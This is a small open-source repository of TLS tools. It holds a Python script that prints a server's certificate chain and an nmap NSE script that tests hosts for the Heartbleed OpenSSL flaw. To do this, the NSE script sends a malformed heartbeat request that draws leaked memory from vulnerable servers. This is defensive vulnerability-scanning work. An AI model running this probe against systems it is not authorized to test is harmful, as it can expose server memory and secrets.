├── nmap-heartbleed ├── README.md └── ssl-heartbleed.nse ├── README.md ├── LICENSE └── check_certificate_chain.py /nmap-heartbleed/README.md: -------------------------------------------------------------------------------- 1 | ## nmap-heartbleed 2 | nmap NSE plugin to scan for the [Heartbleed Vulnerability](http://heartbleed.com) in OpenSSL. 3 | 4 | See: 5 | * https://www.openssl.org/news/secadv_20140407.txt 6 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 7 | 8 | Authors and License in the file. 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## TLS Tools 2 | 3 | ### Index 4 | * `check_certificate_chain.py`: does exactly what the name suggests 5 | * `nmap-heartbleed/`: nmap NSE plugin to scan for the Heartbleed vulnerability in OpenSSL 6 | 7 | ### Setup 8 | ``` 9 | pip install M2Crypto 10 | git clone git@github.com:azet/tls_tools.git 11 | ./check_certificate_chain.py 12 | Usage: check_certificate_chain.py [server/ip] [port] 13 | ``` 14 | 15 | ### Contribution 16 | Yes. Please. 17 | 18 | ### Licensing 19 | See: `LICENSE` 20 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013-2014 Aaron Zauner 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /check_certificate_chain.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # check_certificate_chain.py: 4 | # does exactly what the name suggests. 5 | # 6 | # X.509 sucks! 7 | # 8 | # AUTHORS: 9 | # Aaron Zauner 10 | # 11 | # LICENSE: 12 | # MIT License 13 | # 14 | # TODO: 15 | # - Add interface to certificate-transparency. 16 | # - Check/Verify certificates. 17 | # 18 | import sys 19 | import M2Crypto.SSL 20 | 21 | def main(): 22 | server = str(sys.argv[1]) 23 | port = int(sys.argv[2]) 24 | 25 | tls_context = M2Crypto.SSL.Context(); 26 | # we want to check unknown CAs as well 27 | tls_context.set_allow_unknown_ca(True) 28 | # sadly, certificate verification almost always fails. 29 | tls_context.set_verify(M2Crypto.SSL.verify_none, False) 30 | 31 | conn = M2Crypto.SSL.Connection(tls_context) 32 | conn.set_tlsext_host_name(sys.argv[1]) 33 | conn.connect((server, port)) 34 | 35 | chain = conn.get_peer_cert_chain() 36 | 37 | print "\n>> Certificate Chain:\n" 38 | i = 0 39 | for cert in reversed(chain): 40 | i += 1 41 | print " [+] " + "*"*i + "\t\t%s" % cert.get_subject().as_text() 42 | 43 | print "\n>> Certificate Information:\n" 44 | for cert in reversed(chain): 45 | pkey = cert.get_pubkey() 46 | print "." * 80 47 | print "- [Subject]:\t\t%s" % cert.get_subject().as_text() 48 | print "- [Issuer]:\t\t%s" % cert.get_issuer().as_text() 49 | print "- [Valid from]:\t\t%s" % cert.get_not_before() 50 | print "- [Valid until]:\t%s" % cert.get_not_after() 51 | if cert.check_ca(): 52 | print "- [Authority]:\t\tIs a CA" 53 | else: 54 | print "- [Authority]:\t\tIs not a CA" 55 | print "- [Version]:\t\t%s" % cert.get_version() 56 | print "- [Serial No.]:\t\t%s" % cert.get_serial_number() 57 | print "- [X.509 Extension Details]:" 58 | for k in range(0, cert.get_ext_count()): 59 | ext = cert.get_ext_at(k) 60 | print " `-- [x509_" + ext.get_name() + "]:\n\t %s\n" % ext.get_value().replace('\n', ' ') 61 | print "- [Fingerprint]:\t(hex) %s" % cert.get_fingerprint() 62 | print "- [Keysize]:\t\t%s Bits" % (pkey.size() * 8) 63 | print "- [RSA Modulus]:\t(hex) %s" % pkey.get_modulus() 64 | print "- [RSA Key]:\n%s" % pkey.get_rsa().as_pem() 65 | 66 | if __name__ == '__main__': 67 | if len(sys.argv) <= 2: 68 | print " Usage:\n\tcheck_certificate_chain.py [server/ip] [port]\n" 69 | exit(1) 70 | 71 | main() 72 | 73 | -------------------------------------------------------------------------------- /nmap-heartbleed/ssl-heartbleed.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Check if a service is vulnerable to Heartbleed 3 | (http://heartbleed.com) 4 | 5 | ClientHello mercilessly stolen from Martin Bosslet: 6 | https://github.com/emboss/heartbeat 7 | ]] 8 | 9 | author = "Aaron Zauner " 10 | license = "MIT" 11 | categories = { "default", "discovery", "intrusive", "vuln" } 12 | 13 | local nmap = require "nmap" 14 | local bin = require "bin" 15 | local match = require "match" 16 | local shortport = require "shortport" 17 | local stdnse = require "stdnse" 18 | 19 | ---- TLS Handshake (type 16) 20 | -- a ClientHello contains: 21 | -- ProtocolVersion, Random, SessionID 22 | -- CipherSuite, CompressionMethod and 23 | -- optional Extensions 24 | local client_hello = bin.pack("H", [[ 25 | 16 03 01 00 38 01 00 00 34 03 26 | 01 23 18 50 c0 c7 9d 32 9f 90 27 | 63 de 32 12 14 1f 8c eb f1 a4 28 | 45 2b fd cc 12 87 ca db 32 b5 29 | 96 86 16 00 00 06 00 0a 00 2f 30 | 00 35 01 00 00 05 00 0f 00 01 31 | 01 32 | ]]) 33 | ---- TLS Heartbeat extension type: 34 | local heartbeat = bin.pack("H", "18") 35 | ---- TLS ALERT type: 36 | local alert = bin.pack("H", "15") 37 | ---- TLS ServerHello done: 38 | local done = bin.pack("H", [[ 39 | 0e 00 00 00 40 | ]]) 41 | ---- Heartbeat payload: 42 | local payload = bin.pack("H", [[ 43 | 18 03 01 00 03 01 40 00 44 | ]]) 45 | ---- a TLS record looks like this: 46 | -- 1 Byte 1 Byte 1 Byte 1 Byte 47 | -- +--------+--------+--------+--------+ 48 | -- | type | | 49 | -- +--------+--------+-----------------+ 50 | -- | version | length | 51 | -- +-----------------+-----------------+ 52 | -- | message N | 53 | -- +-----------------------------------+ 54 | -- | . | 55 | -- . 56 | -- . 57 | local r_header = function(socket) 58 | -- TLS record header 59 | local t, v, l, 60 | type, version, length 61 | 62 | t, type = socket:receive_buf(match.numbytes(1), true) 63 | v, version = socket:receive_buf(match.numbytes(2), true) 64 | l, length = socket:receive_buf(match.numbytes(2), true) 65 | 66 | if not t or not v or not l then return end 67 | return true, type, version, length 68 | end 69 | local r_message = function(socket, length) 70 | -- TLS record message 71 | local d, data = socket:receive_buf(match.numbytes(length), true) 72 | if not d then return end 73 | return data 74 | end 75 | local message_len = function(len) 76 | -- convert TLS length field to big endian ushort, return number 77 | local position, length = bin.unpack(">S", len) 78 | return tonumber(length) 79 | end 80 | 81 | 82 | portrule = shortport.ssl 83 | action = function(host, port) 84 | local status = true 85 | local error = false 86 | local socket, vuln, txt, type, version, length, data 87 | 88 | -- create socket 89 | socket = nmap.new_socket() 90 | socket:set_timeout(800) 91 | status, error = socket:connect(host, port, "tcp") 92 | if status then 93 | stdnse.print_debug("Connected.") 94 | end 95 | 96 | -- send TLS Handshake ClientHello 97 | status, error = socket:send(client_hello) 98 | if status then 99 | stdnse.print_debug("Sent TLS ClientHello.") 100 | end 101 | 102 | while true do 103 | status, type, version, length = r_header(socket) 104 | if not status then 105 | stdnse.print_debug("reached TLS timeout, this is OK.") 106 | vuln = false 107 | status = true 108 | break 109 | end 110 | if message_len(length) > 0 then 111 | data = r_message(socket, message_len(length)) 112 | end 113 | 114 | if data == done then 115 | -- recieved TLS Handshake ServerHello done 116 | stdnse.print_debug("ServerHello done.") 117 | -- send Heartbeat payload 118 | status, error = socket:send(payload) 119 | if not status then break else 120 | stdnse.print_debug("Sent Payload.") 121 | end 122 | elseif type == heartbeat and string.len(data) > 3 then 123 | stdnse.print_debug("Got Heartbeat TLS type and data!") 124 | vuln = true 125 | break 126 | elseif type == heartbeat and string.len(data) < 3 then 127 | stdnse.print_debug("Got Heartbeat TLS type but no data.") 128 | vuln = false 129 | break 130 | elseif type == alert then 131 | stdnse.print_debug("Got TLS ALERT, this is OK.") 132 | vuln = false 133 | break 134 | end 135 | end 136 | 137 | socket:close() 138 | 139 | txt = "VULNERABLE to Heartbleed." 140 | if not status then return stdnse.format_output(status, "TLS: " .. error) 141 | elseif vuln then return stdnse.format_output(status, txt) 142 | else return stdnse.format_output(status, "NOT " .. txt) 143 | end 144 | end 145 | --------------------------------------------------------------------------------